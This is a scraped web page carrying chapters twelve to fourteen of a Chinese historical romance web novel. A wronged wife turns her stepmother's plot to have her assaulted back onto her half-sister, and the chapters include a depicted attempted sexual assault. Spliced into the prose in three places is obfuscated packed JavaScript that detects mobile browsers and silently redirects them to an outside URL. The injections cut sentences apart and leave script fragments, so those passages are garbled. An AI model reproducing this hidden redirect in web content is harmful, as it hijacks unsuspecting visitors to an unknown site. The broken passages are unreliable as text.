杨氏气量狭小、睚眦必报,她生辰宴那日失了颜面,姜姝知道她会行报复之事。 扣掉林氏的月例银子抑或责骂姜姝,都在姜姝的意料之中,只姜姝万万没想到杨氏会狠辣至此。 姜姝深吸一口气,手指不由收紧,紫黑色的桑葚汁水溢满掌心,又凉又腻。 杨氏既想要她的命,便也休要怪她不留情面。 姜姝看向珠儿,问道:“青玉可交待了行事的时辰?” 珠儿点点头:“她让那几个无赖于未时五刻到别苑的栾树林行事。” 珠儿原以为自己算是命途不顺了,可好歹兄嫂没想过要她的命,和姜姝相比,她还算是幸运的那个。 她心里乱得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜姝重重地叹了一口气,她仰躺到贵妃榻上,抬起手,不重不轻地揉捏有些发疼的太阳穴。 阳光像是碎金子,从窗外一直洒到窗内,姜姝即便闭着眼睛,也能感受到阳光的璀璨,她睁开眼睛,顺着窗子往外瞧。 只见阳光打在窗外的青竹上,犹如浮光跃金,美得像一副画。但那画却不是单纯的静物画。 竹丛下放着一个小案几,案几上置着茶具,陆长稽闲闲坐在案几旁,姿态闲散,眼神却锐利的像一把刀子,他凝着姜姝,低声道:“弟妹好手段!” 12. 第十二章 姜姝一凛,寒意从脚底直升到天灵盖,身体像是被寒冰封住了,连动一下都十分艰难。 她张张嘴,挣扎了半晌,总算发出了声音:“大伯,我不是平白无故算计自己的手足,实在是事出有因。” 虽说信阳侯是信阳侯府的主君,但他早已致仕,现下整个信阳侯府都仰仗陆长稽过活。 她想要害人也就罢了,竟还是以陆长稽为诱饵,易地而处,她若是陆长稽,定不会原谅利用他害人的元凶。 若是陆长稽认为她是心思歹毒之人,对她生出成见,她以后还如何在这府中立足? 姜姝紧张地盯着陆长稽,仔仔细细观察陆长稽的神情,想要探一探陆长稽的心意。 可惜,陆长稽只说了那一句话,而后就不再言语,他垂下眸子,修长的手指执着杯盏,慢条斯理品茶。 他越不说话姜姝心里越紧张,姜姝搓了搓衣角,倒豆子一般把事情的来龙去脉复述了一遍。 说完以后,陆长稽尤不出声,姜姝窥不透他的想法,百爪挠心,急得险些哭出来,眼角红红的,仿佛傍晚西天上那一抹艳丽的霞。 姜姝从来都不是坐以待毙的性子,是杀是刮,总要探出陆长稽的态度才能安心。 她握紧衣袖,直直看着陆长稽的漆眸,低声道:“或许大伯认为女子当贤淑和顺、温婉善良,但我的生长环境由不得我做一个温顺的人。” “我嫡母比不得侯夫人豁达,她心情不好的时候,我连饭食都吃不饱,十三岁之前,我没有穿过新衣,二妹妹不喜欢哪件衣衫,嫡母就会把哪件衣衫赏给我。” “我比二妹妹年长两岁,穿上她的衣衫总要露出一截子手腕,到了冬日,我冻得满手是疮,后来我借着给父亲端茶的机会,故意把茶水洒到手上,自那以后我才有合体的衣裳穿。” “还有我的亲事,若不是世子冒然登门,识破了嫡母的计谋,现下嫁到信阳侯府的便是我二妹妹了。” “我自小受尽委屈,但凡不如嫡母的意,就会被她百般折磨。前几日她生辰,只因我拒绝了她的要求,便谋划着毁我清白,我知道我的手段阴狠毒辣,但归根结底也不过是以其人之道还其人之身。” 姜姝顿了一下,眸中闪烁出坚毅的光:“如果再来一次,我依旧会这样做!” 姜姝谨慎惯了,从未像现在这样不管不顾过,这是她有生以来最冒险的一场豪赌,她把自己的心剖开,把致命的一面摆到他面前。 若是不赌,她必输无疑,赌了,最起码有赢的可能。 她赌他是个心存善念的人。 姜姝紧盯着陆长稽,擎等着他的审判。 她知道,他若再不开口,她体内的那根弦就会断裂,她也再无转圜的可能。 时间一点一点过去,在姜姝濒临崩溃之际,陆长稽总算开了口:“我从来不说反话。” 他说她好手段,就只是纯粹的赞扬她手段高明。 他在宦海沉浮多年,看惯了炎凉世态。身边的人来来往往犹如浮光掠影,这座山起来了,那座山消弭了,前一日还烈火烹油的府邸,下一日就变成了废墟。 只有那些真正的聪明人才会久立不衰,陆长稽欣赏聪明人。 陆长稽见姜姝的脸色依旧惨白如纸,便把话说的更透彻了一些:“你的做法没有错,若有人想害你,你合该把他碾到脚下,让他再也翻不了身。” 喜悦来得猝不及防,姜姝如蒙大赦,身体里的弦倏然放松,蓄在眼眶里的泪水也不由淌到脸颊上。 她不想失态,奈何根本控制不住自己,眼泪像是开了闸的洪水,止也止不住。 姜姝胡乱擦了一把脸,低声对陆长稽道:“我言行无状,让大伯见笑了。估摸着世子快睡醒了,我得回去陪世子用膳,大伯且自便。” 话毕,她不再久留,提起衣裙向屋外行去,身体紧绷的时间太长,倏然放松,脚步虚浮难当,姜姝扶住门框才没有跌倒。 胭脂色的衣袖滑到肘间,露出一截手腕,手腕上挂着一只翠绿的玉镯,凝白和翠绿相映衬,愈发显得姜姝的腕子皓白如雪。 陆长稽忙把目光投到手中的杯盏上,温声对姜姝道:“弟妹慢行!” 姜姝弯腰向陆长稽行了个礼,折回了欣春苑。 转眼就到了布政使夫人设宴的日子,信阳侯府的马车气派华贵,杨氏想要借信阳侯府的势,提前让下人知会了姜姝一声,说要和姜姝同行。 姜姝不置可否,让车夫把马车赶到姜宅,不出所料,姜然这一日果然穿了一件雪青色褙子,头上簪着与之相配的素银柳叶流速,这身打扮虽不亮眼,却贵在典雅清爽,让人见之忘俗。 姜然还记恨着姜姝,她也不跟姜姝打招呼,自顾自上了姜姝的马车,姜姝并不想热脸贴屁股,她也不理会姜然,和杨氏寒暄了几句,便不再言语。 马车约莫行了半个时辰抵达别苑,一下车,姜姝就瞧见了迎客的布政使夫人潘氏。 潘氏是个直性子,若不是瞧在姜姝的面子上,断不会请杨氏参加宴会,因此一直待杨氏不冷不热,反倒对姜姝十分热情。 杨氏心里不快,却也不敢得罪潘氏,只想法子支开姜姝,好歹眼不见为净:“杏园有好些姐儿在投壶,姝儿和然儿到那边玩去罢,没得在长辈身边拘束。” 姜姝点了点头,和姜然一同去了杏园。未出阁的姐儿心性浅,不似当家主母那样看重门第,是以姜姝姜然的身份虽远低于旁人,却还是很快便和众人打成了一片。 她们嬉闹了一会子,便撤下铜壶开始行飞花令。姜姝没有上过女学,只堪堪能将字认全,行飞花令时自然插不上嘴。 姜然倒是有几分才情,在诗会上很出了一番风头。 众人玩闹了一番,便到了用午饭的时间,因着是夏日,院子里比屋内凉爽,胡氏便将宴席摆到了院子里。 院内引了活水,饭食随着水流缓缓而下,曲水流觞伴着似锦的繁华,很是风雅。 别苑占地广,半晌的时间根本游不完,用完午膳后,潘氏请众人到房间小憩,只待下午接着游乐。 姜姝和姜然是亲姐妹,又年龄相仿,胡氏将她们安排到了同一个寝屋,二人正在屋内喝梅子茶,便听到房门被人敲响,接着珠儿便推门而入。 珠儿一向大大咧咧,说话的声音震天响,这次却一反常态,仿佛在防备什么,她俯身在姜姝耳边低语了几句,姜姝勾唇微微笑了笑,主仆二人就一起向门外走去。 姜然见姜姝行事鬼鬼祟祟,又恐她不及时到栾树林游玩,坏了计划,忙起身将姜姝截住,开口问道:“姐姐要去做什么?” 姜姝白皙的脸颊倏得飞上了一层红云,她抿了抿唇,低声回道:“世子来别苑小憩,我去瞧一瞧世子。” 她似是害怕姜然胡思乱想,又补充道:“世子和他父兄歇在一处,我不过是去打个招呼,很快就回来了。” 听到陆长易和陆长稽在一处,姜然当即就心潮澎湃起来,她对姜姝道:“既然侯爷也来了,我身为晚辈,理应去给侯爷行礼问安,不若和姐姐同去罢!” 姜姝直摇头:“或许侯爷在午憩也未可知,二妹妹还是莫要冒然打扰他老人家了。” 她这是铁了心不带她露脸,姜然虽生气却也没法子,只得放弃和陆长稽见面的好机会。 她忽得想到和匪徒约定的时辰,唯恐姜姝耽搁了,便道:“姐姐可要快一些,我听闻这别苑里的栾树林十分有看头,待姐姐回来了,我们一起到栾树林瞧一瞧。” 姜姝应了一声“好”,提步出了门子。 看着姜姝急不可待的样子,姜然气得直跺脚,姜姝这个贱人,在闺中时,无论做什么都让着她,现下不过嫁给了陆长易,竟敢跟她摆派头了。 她将手中的梨子掷到地上,又用脚跺了几才解了气。所幸母亲周全,待那几个人将姜姝给奸1污了,看姜姝还怎么嚣张。 姜然尚在暗暗得意,房门再一次被人敲响,她拉开门,只见门口站着一个眼生的小厮,那小厮其貌不扬,衣裳料子却很考究,她到信阳侯府赴宴的时候,见府内的下人穿过。 姜然以为这小厮和姜姝走了个两岔,是来寻姜姝的,没好气道:“你来做什么?” 小厮只当没瞧见她愠怒的脸色,温声道:“小的是陆家大爷的随从,奉我家大爷之命,请二小姐到紫薇林赏花。” 陆长稽要与她幽会?从天而降的馅饼简直要把姜然砸晕,若是平时,姜然或许还会有一丝疑虑,但想到姜姝此时已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994303|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去拜访陆家父子,且传话的小厮又穿着侯府下人的衣衫,她便半点顾忌都没有了。 她匆匆折回寝屋,看了一眼时辰,堪堪未时一刻,离未时五刻还有四刻钟,等她和陆长稽说完话,也还能腾出时间把姜姝引到栾树林去。 姜然勾唇一笑,对着铜镜梳妆打扮了一番,便随着小厮向紫薇林行去。小厮极有分寸,把她送到紫薇林的入口处就顿住了脚步。 看到小厮的举动,姜然愈发高兴,只当陆长稽要和她说窝心话,加快脚步行到树林深处。 紫薇灼灼,粉嫩娇艳,景色倒是极美,桃林中却空无一人,到处都寻不到陆长稽的身影。 不知道为什么,姜然心里陡然生出了一丝恐惧。 “陆大人!”姜然有些着急,压低声音唤了一声。 话音刚落,便听到了一阵窸窸窣窣的脚步声,她高兴极了,只当和陆长稽心有灵犀,忙循着声音看去。 来人哪里是貌如谪仙的陆长稽,分明是三个神情猥琐、满脸欲1色的男子。 恐惧被无限放大,姜然知道她被人算计了,什么陆长稽,分明就是拿来诓她的幌子。 她害怕极了,腿脚发软,甚至连站都站不稳实,但她知道现下若表现出害怕,只会让对面那几个人变本加厉。 姜然挺了挺腰板,故作镇定:“你们是哪家的随从,若有眼色,就快些离开这里,布政使夫人马上就要过来赏花,你们若行的慢了,怕是要被主家责怪。” 姜然本就生得貌美,再加上精心打扮过一番,愈加玉貌花容。 那三个男子你看看我、我看看你,皆发出龌龊的yin、笑声,今日这活计倒是十分划算,不仅能得到银钱,还能尝一尝美人的滋味,说是财色兼收也不为过。 夫人小姐们午憩起来,齐齐聚到花厅,一起商量下午到哪儿赏花,姜姝一改上午安静少语的作风,当头说道:“我早先就听人说过,布政使家的紫薇林美如画,不知今日有没有福气欣赏紫薇林的美景?” 姜姝是贵客,潘氏上赶着巴结都来不及,自然不会忤逆她的想法。 她笑盈盈道:“夏日花少,紫薇最是绚烂,我和世子夫人想到一处了,大家先到紫薇林瞧一瞧罢!” 她一面说话,一面行到前方,给众人引路。 杨氏这时才注意到姜然没在,她凑到姜姝身边,低声问道:“然姐儿呢,你怎么一个人出来了?” 手心里汗津津的,姜姝有些紧张,她轻咳了一声,尽力让自己看起来和平时无异:“二妹妹嫌天气热,想要多睡一会子,说到了未时五刻再起来,到时候我们一起到栾树林赏景。” 姜然随性惯了,她一向不守规矩,杨氏也不太管束她,多睡一会儿算不得什么,只要能把姜姝引到栾树林就成。 姜然懒怠归懒怠,杨氏却不愿让姜姝把这事放到明面上说,她乜了姜姝一眼,低声斥道:“然姐儿恭顺勤勉,决计不会因着天气热就懒床不起,定是中了暑气,这才稍微多休憩一会子。” 嫡母呲哒儿女天经地义,姜姝只垂头听训:“女儿失言了,母亲千万不要动气,气坏了身子就是女儿的罪过了。” 按说姜姝认了错,杨氏便不该再不依不饶,奈何她在姜家跋扈惯了,在外面也不知道收敛,她轻哼一声,没好气道:“你既知道错了,以后就该谨言慎行,一会儿给你二妹妹致个歉,这事就算过去了。” 这就有些蹬鼻子上脸了,明眼人都知道杨氏是在给姜然遮掩,训斥姜姝几句也就过去了,怎么还不依不饶起来。 按说旁人不该插手姜家的家务事,但潘氏实在看不过眼,她走上前打圆场:“芝麻大的事,姜太太也值当发作?我们快些到紫薇林去罢,待日暮西斜之际,就看不到紫薇的绝佳姿态了。” 听到潘氏说情,杨氏不好再发作,讪讪地闭上嘴,随潘氏一起向紫薇林行去。堪堪走到进口处,忽听到一声女子的尖叫,还有撕碎衣裳的裂帛声。 都是过来人,只听这声音便也能将林内的情形猜个七七八八,今日来别苑参加宴会的人非富即贵,若真出了意外,潘氏这个东道主也不好做人,她脸色大变,疾步向林内冲去。 没想到杨氏比她动作更快,飞一般掠到了紫薇林内。 13. 第十三章 潘氏赶到树林深处的时候,歹徒已经逃窜,杨氏正抱着姜然嚎啕大哭,姜然蜷缩着身子,仿若一只虾子,潘氏打眼瞧去,发现姜然的衣衫已有大半被撕开,白生生的肌肤红痕交错,刺得人眼睛发疼。 出了这档子事儿,姜家二娘子这一辈子算是完了。 潘氏喉咙一紧,眉头不由颦到一起,她每年都在别苑举办宴会,现下却是第一次遇到这种情况,她是东道主,决不能凭白让人家的姐儿被污。 潘氏也顾不上安抚杨氏母女,她疾步走到林外,对外面的妇人们道:“实在对不住,怪我疏于防范,野兽冲进紫薇林,冲撞了贵人。” “大家先到前院的清凉台吃一盏茶,待家丁把野兽驱逐出去了,我再请各位进内赏花。” 在座都是人精,适才那撕破布帛的声音尚在耳边回荡,再想到杨氏急匆匆冲到林内的声音,众人还有什么不明白的。 只怕那姜家二小姐不是在屋内小憩,而是…… 都怪她不安分,她若是安安生生跟着母亲游园,又怎么会闹出这么一档子事来。 众人你看看我,我看看你,最后把目光投到姜姝身上,颇为同情的安慰她:“世子夫人,咱们是明事理的人,适才也都瞧见了,姜太太待您没有半分母亲该有的宽和温情。 不管发生什么事,咱们都决计不会把您和姜家太太、姜家二小姐联系到一起。您且把心放到肚子里去就是了。” 一家子姐妹同气连枝,若是有一个失了贞洁,旁人也会连带着轻视旁的姐妹。妇人们这番话说的委婉,却是在告诉姜姝,并不会因着紫薇林里的事轻视她。 一切都在姜姝的预料之中,她心里畅快,面上却做担忧状:“也不知道二妹妹现下如何了,出了这样的事,她以后可怎么……哎,她以后可还怎么做人?” 她说完话以后,旁人又是一通安慰,司徒太太拍了拍她的肩膀,柔声道:“好孩子,我们都知道你心善,你快些去看看你妹妹罢,到底是一家子人,你若去的晚了,事后怕是又要被你嫡母责怪。” 姜姝顺势点了点头,似有些不放心,她犹豫了半晌,回过身来,恭恭敬敬向众人行了个礼,叮嘱道:“今日是我二妹妹运道差,这才遭遇野兽侵袭,还望各位长辈能为她正名。 只要她名声无损,晚辈以后定当结草衔环,报答各位。” 她说的情真意切,众人不免又是一阵唏嘘:“世子夫人心底善良,不仅不与嫡母和姊妹计较,还以德报怨,说是高洁端方都不为过。 也难怪她能高嫁到信阳侯府,人在做天在看,便是老天都眷顾有德之人。” 姜姝连连摇头:“我和然姐儿是亲姐妹,血浓于水,我合该迁顾她的。” 说的太多就过犹不及了,姜姝不再多言,做出焦急的情状,急匆匆进入紫薇林。 潘氏让女使把宾客引到前院,复又唤来侍卫,压低声音吩咐:“赶紧把别苑围了,便是一只苍蝇都不准放出去。” 这件丑事是在她家的别苑出的,她必须把不法之徒抓起来。 潘氏吩咐完侍卫,又叫了一顶软轿,让婆子把软轿抬到林内。 潘氏和姜姝前后脚进入紫薇林,这时杨氏已止住了哭泣,正将自己的外衫往姜然身上盖,姜然坐在地上,双手抱着膝盖,双目无神,呆呆愣愣,仿若失了神志。 好好的一个姐儿,搞成这副模样,以后无论如何都寻不到好前程了。 潘氏看向一侧的婆子,低声吩咐:“你们几个快些把姜二姐儿抬到轿子上,送到后院的寝屋。” 婆子干惯了粗活,力气极大,只一人就轻轻松松把姜然抱到了轿子上。杨氏紧随其后也上了轿子,她坐到姜然身边,紧紧搂着姜然,用自己的衣衫遮挡住姜然的面颊。 婆子抬着二人缓缓向林外行去,快到出口的时候,一直沉默的姜然忽得从杨氏怀中挣脱出来,她直勾勾盯着潘氏,眸中散发出亮的骇人的光:“夫人,我还是完璧,还是完璧,您一定要为我澄清呀!” “那些贼子确实撕了我的衣裳,但还未来得及、来得及……你们就来了,我并未被人奸1污,我、我……” 她越说声音越小,渐渐地,嗓子像是被撕裂了,再也发不出一点儿声音,只余下痛苦的呜咽。 潘氏无奈地叹了一口气,有了那样的经历,谁还会顾忌姜然是不是完璧。 名声毁了,运道也就毁了。 姜然是再也翻不了身了。 同为女子,潘氏不想把姜然最后的希望掐灭,她举起手,搭到软轿边沿,把姜然的手团到掌心,柔声道:“我会给你做主的,定会把那几个贼子绳之于法。” 姜然并没有听出潘氏话中的含义,她仿佛遇到了救星,点头不跌,嘴角也酝出了一丝笑意。 轿子行到内院,这时姜然像是想起了什么,转头把目光投向姜姝,她像一只矫健的猎豹,带着无尽的恨意纵身从软轿上跳下去,生生把姜姝扑倒在地。 剧痛从身下传来,姜姝觉得身子像是被车轮碾了一遭一样,她本能地想要坐起来,却被姜然拽着衣领压了下去。 姜然坐到姜姝腰腹间,抡起胳膊,左右开弓扇了姜姝两个耳光。她用了十成的力气,姜姝白嫩的脸颊当即就肿了起来。 姜然行事太过于突然,潘氏反应了几瞬才分出心神唤人:“来人呀,姜家二小姐魔怔了,快些把她捆起来,没得再滥伤无辜。” 别苑里的人手并不像府内那么充裕,抬轿子的婆子们闻言,赶紧把软轿落地,七手八脚扭住姜然的胳膊,把她捆了起来。 人被绑起来了,姜然的嘴却不肯闲着,她大声喊道:“是姜姝,是姜姝那贱人设计害我,潘夫人,您快些我把我放开,我是一定要打死姜姝这贱人的。” 看着姜然目眦欲裂的模样,潘氏心里升起的那些怜悯也烟消云散了。 她睇着姜然,压低声音道:“二小姐,你低声吧,前院子里站满了人,你难道想把事情闹的满城风雨才肯罢休?” “我知道你委屈,但你也不能什么脏水都往世子夫人身上泼。” 杨氏护女心切,趁着潘氏说话的间隙冲到姜然身边,一面给姜然松绑,一面对潘氏道:“好端端的,你何故把然姐儿绑起来,知道的说是你没有看好院子,让歹徒有了可乘之机,害得我然姐儿声名狼藉。 不知道的,看到然姐儿身上这五花大绑的绳子,还当她犯了什么大错。” 什么叫好端端的,潘氏简直要被杨氏气笑了,她指了指姜姝脸上的掌印,没好气道:“令媛迁怒世子夫人也就罢了,还险些划破世子夫人的脸,这么心狠手辣的行径,在姜太太看来竟是好端端的,我今个儿也算是开了眼界了。” 布政使的职位不知比姜文焕高出多少,潘氏之前看在姜姝的面子上才不跟杨氏一般见识,现下姜姝都被打了,她自然也无需再有所顾忌。 杨氏被怼得哑口无言,她不再理会潘氏,只默默给姜然松绑。 姜然恨恨乜了姜姝两眼,转而对潘氏道:“夫人怕是被姜姝这贱人给蒙蔽了,她面上和善,芯子里比蛇蝎还要毒辣。” 话毕,她也不要脸面了,把午间发生的事,以及她想要嫁给陆长稽的心思,一五一十道了出来。 潘氏震惊地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994304|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着姜然,可真真是人不可貌相,这姜然虽然有几分姿色,但也算不得倾国倾城,凭她的家世地位怎么就敢觊觎陆长稽。 潘氏不好把这些尖酸的话说出来,只就事论事:“说话要讲究真凭实据,二小姐凭什么断定那个唤你出门的小厮是世子夫人指使的?二小姐的清誉很重要,世子夫人的名声也容不得污秽,抓到歹徒之前,二小姐万不可妄下结论。” 潘氏一句话就问到了关结上,莫说姜然,便是老到的杨氏也无法回答她的问题。 虽然杨氏也笃定是姜姝在作怪,碍于没有证据,只得把话咽到肚子里。 她对潘氏道:“劳烦夫人给小女拿一身换洗衣裳,事情总有水落石出的一天,现下最要紧的是把小女照拂好。” 潘氏不置可否,让下人把屋内的浴桶里灌满热水,复又给姜然取了一身新衣。 她是个妥当人,把姜然安排周全了,复又来照料姜姝:“世子夫人算是遭受了一场无妄之灾。您的娘家依靠不得,所幸您嫁入了高门,也算否极泰来。” 说到这儿,她叹了一口气:“您的脸肿得骇人,不若用裹了手巾的冰块儿敷一敷罢?” 姜姝摆摆手,闹闹哄哄一整天,她现下只求能清净一些,早些远离是非之地:“夫人能不能借给我一顶帷帽,我现下这副样子不好见人。” 潘氏只道自己疏忽,忙让人给姜姝取了一顶帷帽。姜姝戴上帽子,温声向潘氏道别:“世子身子不好,我得早些回去照料,今日麻烦夫人了。” 想到姜姝的脸,潘氏也不好意思虚留,又跟姜姝寒暄了几句,便折到屋内查看姜然的情况。 后院里尚且清净,前院却早已沸反盈天。清凉台上的众人议论纷纷。 “适才那姐儿眼生,以前倒是没有见过。” “那是姜家二小姐,她父亲不过一个七品县尉,放在以前是没有有资格赴布政使夫人家的宴席的,现下因着姜家大小姐嫁到了信阳侯府,这才水涨船高,一家子都来赴宴了。” “真真是山猪吃不了细糠,那姜夫人估摸着也是想让家里的姐儿长长见识,哪成想竟出了这么一档子事。” “可不是吗,也不知道那姜二小姐有没有婚配,若是没有订亲,以后恐怕要缩在家里当老姑娘了。 发生了这样的事,她哪里还有脸出门子,正经人家,自然也没人敢娶她,若真将她娶进门,便是唾沫星子都得把门楣给淹没了。” 众人越说越难听,姜然的名声算是彻底毁了,姜姝达到了目的,却并没有如预想中那样畅快,反而有些淡淡的怅惘。 若是男子有这样的经历,只会被人当做笑谈,说一句少年风流也就过去了,女子有此经历却要被盖上耻辱的标签。 女子在这世道上过活,不知比男子要艰难几何。 姜姝并没有和那些妇人们搭话,沿着篱墙行到门外,折回了信阳侯府。 夕阳斜照到高墙内,给院内的事物镀上了一层金色,把人的影子拉的又细又长。 姜姝行到垂花门处,远远得就瞧见陆长稽正在垂花门旁边的湖岸旁喂鱼。陆长稽太过于犀利,那双漆眸仿佛一眼就能把人看穿,不到万不得已,姜姝不想与他打交道。 她低着头,假装没有瞧见陆长稽,疾步向内院行走,堪堪走到门廊下,忽听陆长稽道:“弟妹,留步!” 姜姝顿在原地,她无声叹了一口气,慢吞吞走到陆长稽身边,躬身向陆长稽行礼:“大伯安好!” 陆长稽点点头,把手中剩下的鱼食扔到水中,用手帕把手擦干净,捏住帷帽边沿,慢慢把姜姝头上的帷幔摘了下来。 14. 第十四章 傍晚的风微微有些凉,吹到姜姝红肿的脸上,刮得她钻心的疼。 除却生理上的不适,姜姝心里也十分难堪,不知道从哪儿爆发出的勇气,她一把将帷帽从陆长稽手中夺过,胡乱戴到头上,遮住红肿不堪的脸。 两只手死死捏着帽纱边沿,姜姝说话的声音也带了几丝冷意:“大伯未免失了分寸。” 陆长稽并没有因为她的愠怒而生气,原本就儒雅的面容,似乎更和善了一些。 他弯腰看着姜姝,温声道:“我只当你把一切都准备妥当了,怎么还闹成了这副模样?” 他一阵见血的把关键点指出来,姜姝更加无地自容,姜姝筹谋良久,芯子里见不得的人一面全被陆长稽窥见了,却还是把自己搞的狼狈不堪,实在有些窝囊。 姜姝垂着眸子,把目光定在自己的凤凰于飞嵌翡翠绣花鞋上,嘴唇翕动了几次,终究没有开口。 陆长稽上前一步,几乎和姜姝挨到一起,姜姝甚至能闻到他身上淡雅的青竹香气。 上位者的压迫感太过于强大,姜姝本能得想要离他远一些,可脚下像是灌了铅,怎么都移动不了。 她定在原地,抬起头看向陆长稽,陆长稽生得高,二人又离得极近,在姜姝这个角度,只能看到陆长稽的下颌线。他骨相优越,下颌线的弧度清俊无俦,仿佛是用画笔精心勾勒出来的一样。 世人只道陆长稽智多近妖、权势滔天,却经常忽略掉,他除了智力超常外,还有一副犹如谪仙的皮囊。 陆长稽仿佛隔着帽纱瞧见了姜姝的眸光一样,在姜姝看着他的时候,下巴一点点收紧,漆眸锁住姜姝,像是想要说什么,却终究没有说出来,只道:“我那儿有上好的药膏,一会儿让程用送给你,你今日在哪儿留宿,还是回欣春苑吗?” 小时候,姜姝和林氏住在姜宅的后罩房,那小小的,见不到天日的后罩房是最让她觉得安心的地方。 后来嫁到了信阳侯府,陆长易对她呵护有加,甚至为了她屡次与赵氏争执,他为她遮风挡雨,欣春苑便变成了她的外壳。 她的脸见不得人,她第一反应就是缩到壳子里,可她忽略掉了一件事,陆长易身子羸弱,心思又敏感,看到她的脸,定会十分担忧,若是因此引发疾病就不值当了。 姜姝摇摇头,低声道:“我形容狼狈,不好让世子瞧见,今晚不回欣春苑,到小凉苑凑合一夜既可。” 她畏热,单想一想小凉苑的清爽就觉得心旷神怡。 夜色将光亮吞噬,一切想要掩人耳目的事情,一切不能见光的事情,都可以在夜晚悄悄发酵。 趁着夜色,杨氏和姜然回到姜宅,经此祸事,姜然像是丢掉了三魂六魄,连话都不愿意多说一句,眼神空洞洞的涣散到各处。 杨氏看着姜然那副样子,心疼的直流眼泪,姜姝这贱人,竟就这样把她的然姐儿给毁了,她不扒姜姝一层皮,便妄为姜家主母。 杨氏唯恐姜然看到她的眼泪,徒惹伤心,背过身把眼泪擦干净,而后把姜然拢到怀里柔声安慰:“我的儿,你莫要害怕,万事有母亲给你做主,你且好生休息一会儿,一觉醒来便什么都变好了。” 姜然仍旧不说话,眼像一潭死寂的水,便是将巨石投进去都荡不起涟漪。 杨氏重重叹了一口气,把姜然略微凌乱的头发整理好,顺势把姜然塞到被子里。 把姜然安顿好以后,杨氏原本要出门子,又担忧姜然想不开,索性把平日里给她守夜的青玉唤到了屋内。青玉妥当,有她在,杨氏才能放心。 做完这一切,杨氏才腾出手调查白日发生的事。 她来到花厅,连盏茶都未来得及喝,就听门房说布政使夫人求见。 正门大开,潘氏带着护院,将五花大绑的歹徒送到了杨氏跟前。那三个歹徒鼻青脸肿,显见已经被好好招呼了一通,进屋以后,不用潘氏开口,就乖乖跪到了地上。 倒不是潘氏多么看重姜然,她是布政使家的主母,事情发生在她的别苑,她必得给杨氏一个交代。 她有自己的主意,但事关姜然的名声,这事具体怎么处置,还是得看杨氏的意思。 她温声对杨氏道:“实在对不住,都怪我没有看守好门户才出了这污遭事。 所幸我让人把这几个登徒子抓了回来,事关姐儿的声誉,我也不好私自做主,依夫人看,咱们是报官,还是私底下处置?” 别苑的守卫虽不如汴京森严,却也等闲混不进去,若不是杨氏的人做内应,那三个登徒子连别苑的大门都进不去。 世家大族行事有自己既定的流程,那几个贼子骨头软,潘氏三下五除二就撬开了他们的嘴。 杨氏这是搬起石头砸了自己的脚,潘氏暗暗赞叹了一番姜姝的好手段,而后就把贼子送到了姜家。人要脸树要皮,姜然声名狼藉,她不好落井下石,便装傻充愣。 杨氏心里有鬼,虽满心愤懑,却也不敢把事情闹大,只能打落牙齿和血吞。 她温声对潘氏道:“有劳夫人,您的好意我心领了。不过事关我家姐儿的清誉,还是将事情压下去为好。 这几个登徒子便交给我,此后无论是圆是扁,这事便跟夫人无关了。” 意思很明白,她要私下里处理这事。 潘氏已尽了自己的本分,便遂了杨氏的意,带着护卫离开姜宅。 “没用的东西,你们的脑袋是被猪脑子塞了罢,白长了一副人脸,心眼儿连畜生都比不上。”杨氏吃了哑巴亏,总要把心里的火气发泄出来,她举着肥厚的巴掌,狠狠在贼人的脸颊上裹挟。 她身高体胖,力气又大,几十个巴掌裹下去,直打得贼人眼冒金星、口吐鲜血,贼人除了嗫嗫地认错,连意识都不清楚了。 杨氏总算解了气,抬起脚把离她最近的那个贼人踹到地上,阴恻恻地出言威胁:“今日这事我知、你们知,若是再让旁人知晓我便把你们绑到官府去。 你们可知道□□之罪会受到什么惩处,轻者关押、重者处绞刑,你们若还想活命,就把嘴巴闭严实。” 杨氏的利嘴加上超越常人的武力值,彻底把歹徒征服,他们跪在地上,咣咣磕头,把头磕得鲜血直流,青石地板上泅出一小片血迹。 血腥味扑鼻而来,杨氏自觉晦气,她捂住口鼻,眼眉一挑,没好气道:“还不快滚!” 歹徒如蒙大赦,连绳索都来不及松,跌跌撞撞就逃出来了姜宅。 夜晚有风,刮得院内的灯笼动荡不安,姜文焕疾步而来,沉着脸进入花厅。他生得白,发怒时额角的青筋儿尤为明显,粗粗的青筋鼓胀着,像是要爆开一样。 “我尚在和同僚喝酒,侧耳听到隔壁絮絮低语,言语无状,简直不能入耳,我还当是谁家的姐儿失了颜面,细细听到竟是然姐儿。” 姜文焕一面说话一面用湿帕子润了脸,他双目睇着杨氏,眸光像是要烧起来:“我姜文焕为官二十载,从未像今日这样窘迫羞愧过,你告诉我,今日到底发生了什么?” 杨氏能说什么,总不能自作自受得了报应,她嗫嚅半晌,低声道:“然姐儿命苦,到紫薇林赏花的时候被几个登徒子轻、轻薄了。” “咣”的一声,盛水的铜盆掉到地上,滚落几番,待水要洒尽的时候,悄悄静止。 姜文焕脸色胀红,气得浑身发抖,他抬手指着杨氏,颤声道:“你这个母亲是怎么当的,女子的名节何其重要,怎么能放任姐儿一个人去紫薇林?” 杨氏无话可说,绷着脸垂下脑袋。 